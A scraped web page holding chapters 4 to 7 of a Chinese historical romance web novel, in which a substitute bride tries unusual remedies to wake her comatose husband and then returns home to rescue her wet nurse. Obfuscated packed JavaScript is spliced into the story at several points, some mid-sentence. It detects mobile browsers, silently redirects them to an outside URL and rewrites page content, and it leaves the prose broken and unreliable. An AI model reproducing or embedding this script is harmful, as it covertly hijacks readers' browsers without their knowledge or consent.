从前陈家曾请了个教音律的夫子,杨绾柔也常常跟她们姐妹一起上课。一开始陈灵珠也兴致勃勃,但她每次弹错一点儿,陈灵瑛与杨绾柔便大声讥笑,说她如何蠢笨,那夫子也渐渐看出她在家中无甚地位,对她远不如对陈灵瑛上心。后来陈灵瑛和杨绾柔屡次故意破坏她的琴,她去找娘,娘让她们好好相处,她去找爹,爹说她冤枉姐姐。她渐渐不再喜欢所有要与陈灵瑛一起学的东西,所以最终,她所有的乐器都学得一塌糊涂。 但她学得不好,陈灵瑛却学得极好,还有几分名声在外。若是拿了乐器来,太夫人等提出要她弹,只怕就要露馅了。 可如今又还不到坦白的时候。 她有些迟疑,怕暴露自己,又想,无论如何,唤醒李济才是最重要的,其他的,走一步看一步罢。 于是她道:“试一试无妨。多多尝试,总有一种方法会奏效。” 太夫人觉得她说的很有道理,当即便让人拿琴过来。 琴很快拿来,陈灵珠先发制人道:“世子喜欢哪些乐曲,几位弟弟妹妹想必清楚,就由几位弟弟妹妹抚琴如何?” 只要她不上手,就没人会发现她弹得不好。 这话没人反对,镇国公府三姑娘李照槿擅音律,自告奋勇道:“我来给二哥奏一曲,我记得二哥以前喜欢弹《广陵散》。” 众人点头赞同,这确是李济最喜欢的曲子之一。 李照槿弹得很不错,不过众人都无心欣赏,全心全意地盯着李济。 可惜希望有多大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈灵珠道:“既然悦耳的琴声不能引起世子的反应,我们不如反其道而行之,胡乱弹奏,最好弹的是世子特别熟悉的曲子,如此,世子说不定会因无法忍受难听的琴音,从而冲破梦魇,就此醒来。” 此建议听似荒谬,细想又有几分道理,“欲得周郎顾,时时误拂弦①”,可不就是这个道理?何况只是错弹一首曲子,料不至于造成什么伤害。 太夫人和镇国公夫人点了头,陈灵珠便坐到琴案之前,摆足了架势,准备弹奏。 本来准备弹一曲错漏百出的《广陵散》,李照芙却道她二哥最爱《十面埋伏》。 无妨,《十面埋伏》她也很不熟。 她轻舒素手,果然弹出了一首完全不在谱上的“《十面埋伏》”。 魔音贯耳,一曲终了,众人的表情都十分古怪,好几个人,包括太夫人和镇国公夫人甚至还闭上了眼睛。 自然不是因为用心欣赏。 还是李照槿先反应过来,捧场道:“嫂嫂果然擅音律,若不熟这首曲子,如何能弹得如此……如此似是而非,余音绕梁。” 绕梁是绕梁的,没个三五日,众人脑中都休想挥去这段魔音。 李济这个妹妹,甚是善解人意,陈灵珠知道她已经尽力了,朝她抿嘴微微一笑。 李照槿也友善地回了一笑。 李济依然没动。 陈灵珠弹出了手感,主动道:“我再弹奏几曲试试。” 众人望着她,不必了罢? 但陈灵珠怎肯轻易放弃,她拂弦,弹出了一首更让人无法忍受的“《将军令》”。 忍受了一段时间的魔音后,太夫人毕竟年纪大了,耳朵和身体都受不住,听多了连手都抖了起来,还有点想去茅厕。国公夫人也听得坐立不安,一步三回头地走了。 其他人也陆续散去。 两个丫鬟见人都走了,忙走了进来,她们对陈灵珠简直佩服得五体投地,能将短处瞬间变成长处的,大概也只有她们姑娘了。 “姑娘太厉害了。”紫苏笑道。 茯苓捂着嘴笑,她们姑娘向来有急智。 陈灵珠笑了,“那是,”她得意道:“你们姑娘是谁。” 但这点小聪明并不能让李济醒来,她叹了口气,继续使出毕生功力,将自己知道的,但完全不熟的曲子都弹了一遍。在陈灵珠弹出的让人饱受折磨的曲声之中,紫苏忽然惊叫了一声。 “姑娘!” 陈灵珠停了手,“怎么了?” 紫苏指着李济,“世子,世子的手好像动了!” 陈灵珠大喜,“真的?” 她急忙拨动琴弦,三双眼睛不敢眨地盯着李济,但让人失望的是,李济的手指没再动了,就像紫苏眼花了似的。 陈灵珠很是失望,音律也不行,到底要怎么办呢。 使劲想了想,她眼睛一亮。 5. 第5章 两个丫鬟是最熟悉她的,看她这个样子就知道她定是有办法了。 茯苓笑道:“姑娘可是想到什么妙计了?” 陈灵珠道:“妙计算不上,我只是想,弹曲子我们是反着来的,也许味道也是一样,香味既然唤不醒他,那我们就换成臭味。” 两个丫鬟顿时面露古怪,陈灵珠一看就知道她们想歪了,果然紫苏吞吞吐吐道:“姑娘,你不是……不是想……想给世子闻……闻……闻屎罢?” 陈灵珠瞪她一眼:“我像这么坏的人吗?” 紫苏忙说不是,陈灵珠又摸着下巴颔首道:“不过,你这个提议倒也不是不可以考虑考虑。紫苏,以后世子醒了,我会告诉他这个妙计是你提议的,让他记得重重嘉奖你……” 紫苏脸色都变了,忙摆手道:“姑娘,婢子没有这个意思,这不是婢子的提议……” 见她一副快哭出来的模样,陈灵珠噗呲一声笑了出来:“逗你呢,我也要在这间屋子待的,你们姑娘像这么傻的吗。” 再说了,就算这法子有效,李济醒来了还不得收拾她? 闻屎啊,李世子这辈子有这么丢脸过吗? 紫苏闻言松了口气,嗔道:“姑娘净捉弄我!”又好奇地问:“那,姑娘,你打算拿什么给世子闻?” 陈灵珠想了想,扳着手指道:“臭的东西那么多,一时真是难以抉择。先试试臭豆腐罢,臭鱼、臭虾、臭咸菜,臭萝卜也备着,臭鸡蛋……也行。” 想到这些东西的臭味,她叹了口气,虽是熏李济,但自己难免中招,刚才还说自己不傻,好像也没聪明到哪儿去。仔细想想,陈灵瑛与杨绾柔说她是草包,某程度上,倒也不算冤枉了她,她有时候,就是有些傻气。 紫苏去准备了,不久,果然拿回来好几样臭味熏天的东西。 她捂着鼻子道:“姑娘,厨房听说您要这些东西,还都要生的,眼珠子都要掉出来了。” 陈灵珠呵呵地笑,她也是无可奈何,为了李济能醒,总要多试几样。 满屋的臭气,紫苏问陈灵珠:“姑娘,我们这样对世子,他醒了不会找我们算账罢?” 陈灵珠抽出一条帕子,将鼻子蒙住,然后把臭豆腐先拿到李济鼻子底下试了试,李济没动。 轻口味的不行,只能上重口味的了。她把臭鱼放在李济鼻子底下,自己扭开头尽量与臭鱼离远点,“算什么账,我们都是为了他好。” 说是这么说,其实她自己心里也没底,万一李济就是这样的小气鬼呢。 但无论如何,醒了算账也比他永远醒不过来的好。 除了不想做寡妇之外,她的心里早把自己当成了大夫,大夫本就有救死扶伤之责,就算李济不是她的丈夫、醒了要找她算账,她也想救醒他。 脏活累活不能光让姑娘干,紫苏、茯苓两个丫鬟有也学着陈灵珠用帕子包住鼻子,忍住臭味,上前两步端起臭咸菜、臭萝卜凑近李济。 主仆三人你看看我,我看看你,看着彼此的滑稽模样,忍不住哈哈大笑了起来,怕笑声太大了被人听到,又连忙收敛。 正忙着,杏儿说楚大夫来了。 楚大夫还没进门便闻到好几股不同的臭味,差点当场就吐了出来,他忙屏住呼吸,退后了两步,忍了又忍,总算稳住心神没有失态。 他叹气,这年头,大夫这活儿就不是人干的。作为一个经验丰富的老大夫,他也算见多了身患恶疾的病人身上发出的臭味,可这么臭的,他还是忍不了哇。 可是他能说什么呢,病人刚过门的妻子满脸歉意地看着他,关切地问:“楚大夫,你可还好?” 他只能说无碍,问陈灵珠:“世子夫人,这,这是什么臭味?” 怎么能臭得如此浓烈而复杂? 陈灵珠贴心地给他递了一条厚厚的帕子,让他先把鼻子蒙上,才把事情说了。 这种大胆尝试很值得鼓励,楚大夫忍住臭味夸了两句,坐到李济床前诊脉。 “楚大夫,世子如何?”陈灵珠问他。其实她自己刚才已经给李济把过脉了,不知是不是错觉,她总觉得比之前稍稍强劲了一些。 她不错眼地看着楚大夫,唯恐他说出否定的话语来,好在楚大夫把脉再三,点头道:“世子的脉搏不像之前按之如中空,应是略有好转。” 陈灵珠闻言欢喜,便把刚才李济手指疑似动了的事情说了,楚大夫听了也很高兴,夸陈灵珠的想法很好,鼓励她再接再厉。 “世子夫人想法新奇,老夫自叹不如。” 陈灵珠被夸得飘飘然,谦虚了几句,说要帮楚大夫打下手给李济换药。 楚大夫是带着一个徒弟的,让世子夫人打下手不合规矩,不过既然世子夫人有此要求,她又是世子之妻,试一试倒也无妨。陈灵珠绑好袖子,将捣碎的草药铺于一条干净的白布上,小心翼翼地贴到李济的伤口上,将带子绑好。 换了药,便是针灸。 陈灵珠仍然站在床前,睁圆了双眼,仔细看楚大夫如何施针,时不时问上两句。 在楚大夫看来,世子夫人是关心世子,但两个丫鬟却知道,除此之外,她还在偷师。她对医是极热忱的,虽然真正从医的可能微乎其微,但不妨碍她抓住一切机会习学。 楚大夫离开,待臭味完全散去,陈灵珠才让杏儿把镇国公夫人早就吩咐厨房备下的二十几样菜呈了上来。 与陈灵珠之前吩咐上的求快的菜式不同,这一次因为时间较为充裕,又有镇国公夫人的吩咐,送上来的菜色要丰盛得多。除了猪牛羊这些常见的,还有鲍参翅肚等海味及熊掌、驼峰、鹿筋。 “世子,你不饿吗?饿就醒来吃东西啊,这样的美味,闻得到吃不到,多可惜。” 李济这两日,除了少量的汤水和药,什么也喂不下去。再吃不了东西,原先是铁打的人也熬不住。 吃饱喝足,她让人把东西撤去,又将菩萨听了都受不住的魔音,佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751492|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祖闻了都要吐一吐的物事轮番地上。 “世子,”她对他叹道:“我是黔驴技穷了,你再不醒,只怕我要先疯魔了。” 今日一整日,不是魔音便是臭气,梅林上筑东院这间屋子除了茯苓、紫苏和杏儿,其他的丫鬟婆子等都有多远避多远。但也怪不了他们,谁都是肉体凡胎。 但陈灵珠不知道的是,在她们没看到李济的时候,他的手指连着动了好几下。 忙活了一日,陈灵珠身心俱疲,将美人榻用厚厚的、柔软的被子铺舒服了,才沉沉睡去。 这一夜,她做了个美梦,梦到李济醒了,他的眼睛极黑极亮,看着眼前的美味食物双眼放光,坐在食案前风卷残云地吃着为他准备的食物,还一边吃一边笑,露出整齐洁白的牙齿,对她说:“这些食物极美味,我很是喜欢,有劳你费心了。” 陈灵珠欣慰地笑,想自己的付出总算没有白费,忽然间,美梦变成噩梦,李济从手边抓起一个臭鸡蛋,对准她的面门扔了过来,她灵巧地避开,臭鸡蛋扔去了别处,她得意地哈哈大笑,不想紧接着一条臭鱼就飞了过来,粘紧在她脸上,扒都扒不下来…… 陈灵珠惊醒,发现自己被一块枕巾盖住了脸。 她喘了几口气,转头看了看李济。美梦噩梦都没有成真,李济还是那样躺着。 她不由叹气,在榻上呆坐了一会儿。 渐渐回了神,她想,世上哪有那么容易的事,不能就这么灰心。 茯苓进来给她梳洗,问她:“姑娘,今日该回门了,咱们回去吗?” 李济如今这个情况,她提回门算是多事。 但她不能不回去,她的奶娘姜妈妈还被扣在陈府里,她得回去把奶娘接过来。便道:“去跟夫人说一声罢,咱们得回去。” 茯苓答应了一声出去了,没多久回来,告诉陈灵珠:“夫人说,她知道了。” 陈灵珠点点头,去看了看李济,给他把了把脉,吩咐杏儿等照看好李济,带着两个丫鬟和几个仆妇便出发了。 马车上,紫苏道:“姑娘,今儿是你及笄的日子呢。” 陈灵珠闻言一愣,这个她倒真的忘了,这几日,先是被逼嫁,来了镇国公府又是好一番忙乱,她就把这个日子给忘了。 她十五岁了。 十五岁生辰是重要的日子,本朝的习俗,女儿及笄之日,不管家贫还是富有,都会请来亲朋好友,好好热闹一番。不过这一切对她来说,都不重要了,重要的是把奶娘接过来。 镇国公府离陈府不是太远,两炷香的时间就到了,陈灵珠跳下马车往里疾走。 门子见了她吓了一跳,“二……二姑……” 陈灵瑛从陈灵珠出嫁后就没出过门,门子消息也不灵通,如今见了陈灵珠不免惊诧,来的分明是镇国公府的马车,可是下来的却是二姑娘,还梳了妇人发髻。 他瞪大了眼,这到底是怎么一回事?他该称呼陈灵珠为二姑娘还是二姑奶奶? 6. 第6章 朝霞阁里,陈灵珠的姐姐陈灵瑛不紧不慢地点着茶,陈府的常客——她的舅家表妹杨绾柔坐于一旁,口中道:“表姐,陈灵珠要恨死了罢。” 杨绾柔深恨陈灵珠。 当初陈灵瑛的生母杨氏病逝,杨家曾起过把家中一个庶女嫁给陈进当填房的念头,但陈进拒绝了,不久后续娶了县丞之女杜氏。 在与陈家结亲之前,杨家早已式微,虽还有个伯爵的头衔,但家中子弟不成器的多,当时仅有老杨伯爷本人做着个六品官。而陈家却是百年世家,族中子弟在朝为官的很多,陈进的父亲还是当时的宰相,他的姐姐又进了宫,成了宫妃。杨家靠着与陈家的姻亲关系,家中好几个子弟陆续入仕,所以对这一门姻亲,杨家极其看重。 本来背靠陈家,杨家也算蒸蒸日上,不想他们家的女儿又一病没了。 这下,杨家急了,毕竟有女儿在,杨家与陈家是亲戚,女儿没了,日渐疏远则是可以预见的事。 后来杨老伯爷夫妇俩商议过后,便以看望外孙女为由,常去陈家走动,巩固两家关系,免得陈进忘了旧人,疏了对杨家的扶持。 杨老夫人于是三天两头地带着儿媳妇、女儿、孙女去陈府。这本来无可厚非,从明面上说,疼爱外孙女,多去看看她给她撑腰,让她免受继母的欺负,谁也不能说她们的不是。可问题在于,她们去陈府,除了拉拢陈灵瑛和陈进,还要欺负陈灵珠。 杨家人虽心底里暗恨杜氏,但不敢为难她,因为为难杜氏就相当于不给陈进脸面,且那杜氏看着好说话,其实是个滑不溜秋的,他们占不了便宜,但陈灵珠就不一样了——她虽是陈府里的二姑娘,但并不得陈进和杜氏的疼爱。甚至杜氏为了告诉别人她并不偏疼亲女,还刻意将陈灵珠的吃穿用度降了一等。杨家人发现了这一点,便常常以关心、教导为名,将陈灵珠叫过去,几个大人,轮番指责、讽刺、挑剔、奚落陈灵珠,将她贬得一无是处。陈灵珠若不小心说错了话,便说她眼里没有她们这些长辈,长篇大论地要”教她做人”。 发现他们这么做陈进和杜氏也无动于衷,杨家人渐渐越来越过分。 陈灵珠小的时候,常常被杨家人弄得坐立难安,最后总是以痛哭流涕告终。 陈灵珠曾跟她母亲说,不喜欢“外祖母”、“舅母”、“姨母”,因为她们总是为难她,但杜氏不以为然,只对陈灵珠说,外祖母、舅母、姨母都是长辈,又出身大家,多得些她们的教导没有坏处。 陈灵珠后来又找她说了几次,杜氏便指责陈灵珠是因为杨家女眷对陈灵瑛更好而吃味,当下对陈灵珠道:“不可不敬长辈!长辈们再如何,也不是你能说的,你该好好反省你自己,怎么她们就为难你!” 陈灵珠见母亲不信,无奈之下,只好去找父亲。 杨家女眷来得频繁陈进是知道的,但此事一来得长女喜欢,继妻杜氏也没有意见,二来,杨家人还算有分寸,并没有打扰到他。 所以他并不在意,也向来不耐烦理这些琐事,那日他刚好为朝事烦闷,见次女为了这么一件鸡毛蒜皮的事情来找他,心火更盛。于是他将次女训斥了一通,说她心胸狭隘,让她回去反省思过。 求救无门,陈灵珠便设法躲着杨家女眷,但杨家人怎肯放过她,陈灵珠不肯出来见她们,她们便亲自到陈灵珠的院子去“探望”她。 每次杨家女眷来时,陈灵珠的心情即跌到谷底,连日噩梦,几乎要发疯。 后来她的奶娘姜嬷嬷教她装聋作哑,无论她们说什么,只左耳进右耳出,不要往心里去,只当她们放屁。 再后来,陈灵珠长大了,那杨家人碰了多次钉子,才稍稍消停些。 杨绾柔从头到尾旁观这一切,对陈灵珠难免轻视、仇恨。所以她除了在杨家长辈为难陈灵珠的时候添油加醋外,最喜欢的,便是挑唆、联合陈灵瑛一起欺负陈灵珠。 陈灵瑛最擅点茶,她先将茶饼轻轻槌碎,然后放入碾槽之中将其碾碎,再放入茶罗之中细细筛了,又将水烧开,将茶盏用热水仔细洗了,才将茶末放入茶盏之中,注入开水,同时用茶匙击拂。 不得不说,陈灵瑛这样的美人点起茶来,确是赏心悦目,杨绾柔眼中露出艳羡之色。 杨绾柔也是美人,无人时揽镜自照,也觉娇艳欲滴,但人比人气死人,在陈氏姐妹的衬托下,她便显得略有些粗蠢。 陈灵瑛是明艳照人的长相,而陈灵珠小小的鹅蛋脸,杏眼樱唇,俏丽之余略带娇憨,虽还未完全长开,但若论姿色,并不比素来被赞大美人的陈灵瑛差。 杨绾柔不敢对表姐陈灵瑛有意见,便将所有的气都撒在了陈灵珠身上。陈灵珠越长大越美,杨绾柔就越恨她。 茶已点好,陈灵瑛拿起茶盏,抿了一小口,轻轻笑了一声:“那是自然,嫁给李济这么个快死的人,她心里岂能没有怨气。” 杨绾柔道:“其实按我说,这还是便宜了她呢,要不是表姐你让给她,她岂能嫁入镇国公府这样的门第?就是做寡妇,也比嫁入那沈家好多了!” 沈家便是陈灵珠的二姑母的夫家。 陈灵珠的二姑母是庶女,因不容于嫡母,被嫡母嫁给了二姑父沈著。沈家祖上也是望族,但早就没落了,沈著当时是个秀才,陈进的母亲坚持说他以后会有大出息,将庶女嫁入沈家。 沈著做秀才做了很多年,到了将近不惑之年才中了举,又过了好多年才中了进士,如今在京兆府做着不大不小的六品推官。 二姑母多年来过得辛苦,对嫡母难免怨恨,但对陈进这个弟弟却不敢有什么想法。嫡母去世后,她常常归宁,与杜氏也算相得。其第三子沈信,容貌俊秀,文采出众,年纪轻轻已有举人的功名在身,未来可期。 二姑母便动了心思,想着亲上加亲。陈灵瑛她是不敢想,那是弟弟的宝贝疙瘩,从小娇惯非常,要星星不敢给月亮的,无论如何,他都不可能把陈灵瑛嫁到沈家。 更何况,她也伺候不起。 但陈灵珠就不同了,虽然在家里不太受宠,外面也有些不好的传言,但作为常与陈家来往的亲姑母,自然知道是怎么回事。 最重要的,是她的儿子沈信喜欢陈灵珠。 她看得出来,沈信早就喜欢陈灵珠,这些年埋头苦读,除了自己上进之外,也是为了能有个好的前途,好让舅父看得到他,将表妹嫁给他。 所以她跟杜氏与陈进都提过此事。以家世而论,沈家当然算得上高攀,但她知道,杜氏为了名声,是绝不会让陈灵珠嫁得比陈灵瑛更好的,而陈进又根本不在乎这个二女儿,所以她提出结亲,倒也不算让他们夫妇二人为难。 陈灵珠将嫁沈信,本来是两家人都心照不宣之事。 而杨绾柔常常出入陈家,自然也知道此事。 陈灵瑛用手指指着她,笑道:“你这个促狭鬼,被她听到还不撕了你!” 不过,她想起那个剑眉星目、英气勃勃的男子,得意之余也不免叹了口气。 可惜了。 这样一个男子,若是能活着,她是不大愿意便宜陈灵珠的,所以在李济遇刺之前,虽然明知镇国公府与李府有嫌隙,她也没有下定决心悔婚。 可是李济最终遇刺,陷入了昏迷。 一个男子再好,若只剩下一个牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751493|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位,又有什么意义呢。她不想做什么节妇烈妇,只有活生生的人才是真的。 不过,这都三天了,镇国公府怎么还没挂白幡?李济竟能撑这么久? “不会弄错罢?要是李济活过来了,我可就成为全京城的笑柄了。” 杨绾柔道:“表姐就放心罢,他那伤就在心口处,连御医也说没办法,神仙难救。李济是不可能活过来的了,表姐就放心好了。” 陈灵瑛也就随口一说,决定悔婚之前,她自己打听得清清楚楚,自是知道到底是什么情况。正因为知道得清楚,她才不想嫁给死人。 父亲对她一向疼爱,且因为陈李两府之间的嫌隙,曾经数次流露出不想让她嫁给李济的意思。 继母杜氏又一向有求必应,她知道,她说不想嫁,他们一定会同意的。 后面事情的发展便如她所想一般,父母点了头,让陈灵珠嫁了过去。 怪只能怪她这个妹妹命不好。 说起来,她这个妹妹命确实算不得好,她想起陈灵珠从小便处处被她压制,饱受憋屈的样子,冷冷地哼了声。 大约是她命太好的缘故,她得意地想。 世人都说,有了后爹就有了后娘,在继母手上讨生活不好过,但她是个例外。 父亲母亲两情相悦,经历一番波折结为夫妻后本来过着只羡鸳鸯不羡仙的好日子,可惜母亲红颜薄命,生下她一年后便一病不起,之后不久撒手人寰。父亲为了有人照顾她,两年后续娶了如今的陈夫人杜玉蘅。 杜玉蘅出身低微,其父只是个县丞。但杜玉蘅容貌极美,且据说女德颇好,父亲看中这一点,向杜县丞求娶其女。 杜县丞自然没有不答应的,毕竟以他们这样的家世,女儿嫁入陈府这样的簪缨世家,已是烧了高香。杜玉蘅没有令父亲失望,事事把她放在第一位,即便后来杜玉蘅有了自己的孩子,依然如此。 她曾经怀疑过杜玉蘅是不是故意宠坏她,好让她不知天高地厚,最后落得个悲惨下场,但后来发现不是。杜氏确实一心一意地做一个好继母,哪怕因此而让她的亲生的女儿陈灵珠受委屈。 杜玉蘅对陈珠,有时候连她都觉得太过分了。 譬如说罢,她院子里的婆子、丫鬟加起来十几个,而陈灵珠那儿却除了她那两个丫头和一个奶妈子,就只有两个粗使的婆子。 她从未开口要求过杜玉蘅这样做,据她所知,父亲也没有提过这样的要求,但杜玉蘅就是主动做了。 又譬如,前两年杜玉蘅给她们请了教养嬷嬷,但她那时候看陈灵珠不顺眼,不愿意跟陈灵珠一起学,杜玉蘅就真的让陈灵珠别去了,也没有另外再给陈灵珠找人。 平时教她们的夫子也都看得出来,谁更有地位,谁是应该多花费心思的,所以她的琴弹得比陈灵珠好,诗也比陈灵珠作得好,那丫头争不过她,居然跑去跟个二流子学什么易容、医术这种不入流的东西,真是笑死个人。她从很小的时候,就知道父亲知道对她的疼爱,也知道杜氏总会偏帮她,所以一开始是试探,后来便肆无忌惮。 有时候她也不见得多么喜欢某件东西,但拿走了能看到陈灵珠灰败的脸色,她就觉得有趣。 替嫁这件事情,她知道陈灵珠肯定是不愿意的,谁会愿意一嫁人就当寡妇呢。但陈灵珠愿不愿意无关紧要,最重要的是她愿意、父亲愿意,还有,继母杜氏也愿意。 二人正说着话,陈灵瑛的丫鬟蝶儿进来禀道:“姑娘,二姑娘回门了。” 哦?她居然有空回门? 杨绾柔闻言眼珠一转,站起身笑道:“表姐,走,咱们会会她去!” 7. 第7章 陈灵珠大步流星地往柴房而去。 她方才找了一轮,才得知,她的奶娘姜嬷嬷自她上了花轿后就被关进了柴房。 正疾风一般走着,陈灵瑛和杨绾柔忽然挡住了她的去路。 “哟,这不是我们镇国公府的世子夫人吗?怎么一个人回来了?李世子呢?三朝回门他怎么不在?怎么,没陪你回来吗?”杨绾柔率先阴阳怪气道。 她看陈灵珠脸色憔悴苍白,知道李济定然没醒,陈灵珠今日硬要回门,想来是为了她那奶娘。 丈夫昏迷不醒,她竟然为了一个奶娘而回门,愚蠢。 不过,若不是她如此看重她那奶娘,嫁入镇国公府的,就该是陈灵瑛了。 紫苏和茯苓攥紧了手心,面露怒色。杀人诛心,这杨姑娘也太过分了! 陈灵珠不想跟她们废话,如今她只想见到奶娘,便冷冷地瞥了两人一眼,“让开!” 杨绾柔轻蔑地从鼻孔哼出一口气,冷笑道:“哎哟,好大的口气!你还真当你是什么正经的世子夫人呢?若不是表姐让给你,就凭你也能嫁进镇国公府?” 陈灵珠不理杨绾柔,只盯着陈灵瑛道:“你们再不让开,我这就掉头回镇国公府,告诉他们我只是个替身,真正的陈大姑娘还在陈府!” 虽然她已经嫁了过去,可若镇国公府知道了,未必就不会要求换回人。 如今,这大概是陈灵瑛最害怕的事。 果然,听了她这句话,陈灵瑛脸色微变,冷笑道:“妹妹真是好大的威风,做了世子夫人果然不一样了。” 不过她到底是让开了,大概是担心陈灵珠来个玉石俱焚。 杨绾柔还不想让,“表姐!” 陈灵瑛皱着眉头看了她一眼,她这才嘟囔着让开。 无人挡路,陈灵珠奔到柴房就要推门。 门开不了,她走到小窗旁喊:“嬷嬷!” 奶娘闻声连忙爬起,踉踉跄跄跑到窗边,眼泪汪汪道:“姑娘!” 陈灵珠见奶娘眼下黑紫,脸颊凹陷,显然饱受折磨,心痛得眼眶发酸:“嬷嬷,你受苦了!” 奶娘流泪道:“老奴不苦。姑娘如今怎么样了?姑爷可醒过来了?” 陈灵珠说自己很好,但李济没有醒,奶娘大失所望,颤抖着嘴唇道:“姑娘,都是老奴拖累了你。” 陈灵珠道:“嬷嬷别胡思乱想,你没有连累我,是我没有保护好你。” 奶娘不停抹泪,突然想起了什么,从袖子里拿出一只金簪,从窗口递给陈灵珠道:“姑娘,今日是你及笄,老奴也做不了什么,只有这一点心意,姑娘拿着。” 陈灵珠接过,低头看那只金簪。这是一只缠丝镶珠金簪,簪头上有一颗很大的珍珠。 奶娘道:“在老奴的心里,姑娘是真正的宝珠。可惜老奴手头不宽裕,买不了大的,只能买这小的凑凑数了。” 陈灵珠知道,这是奶娘能拿得出手的最好的礼物了,她心里发酸,他们把她取名为“珠”,却从未视她为珠。也许只有奶娘才会把她看作珍宝。 她含泪道:“多谢嬷嬷,我很喜欢。” “嬷嬷,我这就去找夫人,让她放你出来。” 奶娘道:“姑娘,不要跟夫人争吵,凡事先顾好你自己。” 陈灵珠说知道怎么做,转身去找她的母亲陈夫人杜氏。 她母亲杜氏见了她,别的什么也没说,先嗔怪道:“你这孩子,怎么又与你姐姐起了冲突?” 陈灵珠替陈灵瑛嫁给将死的李济,如今三朝回门,她的母亲不问她过得怎么样,也不问李济怎么样,一来就责怪她为何与陈灵瑛起了龃龉,这样的母亲,实在是伤人心。 只是陈灵珠听了这样的话,面上却没什么表情,心里也只有麻木。 她的母亲无疑是个很好的继母。在陈灵瑛面前,她善良,宽厚,慈祥,细心,凡事皆为陈灵瑛考虑得周到、长远,真正做到了视如己出,甚至很多亲生的母亲,也未必比得上她。 在对待陈灵瑛上,母亲的确无可指摘。这一点,陈灵珠是佩服的,也觉得母亲这方面做得很对,既然成为一个继母,善待继子女,是应分之事。 只是,她的母亲对陈灵瑛有多体贴,对她就有多残忍。 都说养儿一百岁,长忧九十九,只有她的母亲,永远觉得她铜头铁骨、百毒不侵、刀枪不入。 小时候她傻,总是想从母亲那里得到慰藉,但母亲说,她也没有办法,她有她的难处。 陈灵珠知道她的那些难处。 继母、继妻,出身不高,这些都是母亲的难处,所以母亲偏帮陈灵瑛,无视父亲的偏心,她有时候也不是不能理解的。可是在她被陈灵瑛、杨家人欺凌时,在她的安全、甚至生命受到威胁时,在她被强迫替代陈灵瑛嫁给濒死的李济时,她的母亲依然要她体谅她的难处。 母亲在陈府,并不是毫无实权的傀儡,一个当家夫人该有的体面和尊荣她都有,她也不是一昧听从丈夫的人,她有自己的主见,在关系到弟弟们的事情上,她也会细心筹谋,甚至与父亲据理力争。 唯独到了她的身上,母亲总是有她的不得已、没奈何,她的一颗拳拳孺慕之心,就在这样一次次的不得已、没奈何中凉了下去。 她已经记不清小时候的自己有多少次的失望、彷徨、恐惧,只知道她在一次又一次的受伤之后,终于学会了不再期待。 她母亲说她是疼她的,最大的证据便是小时候她病重之时,母亲在她的院子待了一夜。 这件事倒是真的,那时候陈灵珠八岁,大冬天被杨绾柔推下水,得了风寒。 她发着高烧,病得昏昏沉沉。八岁的小姑娘,病重之时格外依恋母亲,她拉着陈夫人的手不肯放,陈夫人没奈何,便陪了她一夜。 第二日,她的烧还是没退,烧得更糊涂了,眼看熬不过去,大夫说他已经尽力了,让另请高明,她糊涂之时,又哭着要娘。 但这时,陈灵瑛的丫鬟跑了过来,说大姑娘病了,让夫人去看大姑娘。 陈灵瑛此举,大家都心知肚明,不过是为了让陈灵珠难受,故意支走陈夫人而已。但她的母亲依然抛下了烧得人事不省的她,去陪陈灵瑛去了。然后足足一日之后,才再回来看她。 也是她命不该绝,竟被她熬了过来。她的奶娘姜嬷嬷说,期间她屡次惊厥,惊险万分,幸亏菩萨保佑,才没去阎罗王那儿报到。 从此她便知道,母亲对她的爱,如果说还有,应该也不多。 既然如此,这所谓的母爱,她宁可不要。 陈灵珠淡淡道:“娘,我今日要把姜嬷嬷带走。” 陈夫人面露难色,道:“姜嬷嬷暂时不能让你带走。不过你不必担心,待你爹跟陛下禀明一切,自会放人。” 陈灵珠略略一想,便明白了父母的打算。他们是觉得,事情隐瞒得越久,镇国公府换回人的可能性就越小,陈灵瑛就越安全。 他们的如意算盘打得好,可她如今也不是一点筹码也没有。 “你们不让我把姜嬷嬷带走,我今日回去就告诉镇国公府我不是陈家大姑娘。” 如今这个情况,镇国公府若是知道陈府换了人,会怎么样反应,还真不好说。 会不会将李济未醒怪到换了新娘上去?毕竟冲喜,也是要讲究合适的生辰八字的,李济与陈灵瑛的八字自然是相配的,可与她的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16751494|190011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如今是相配也不配了。 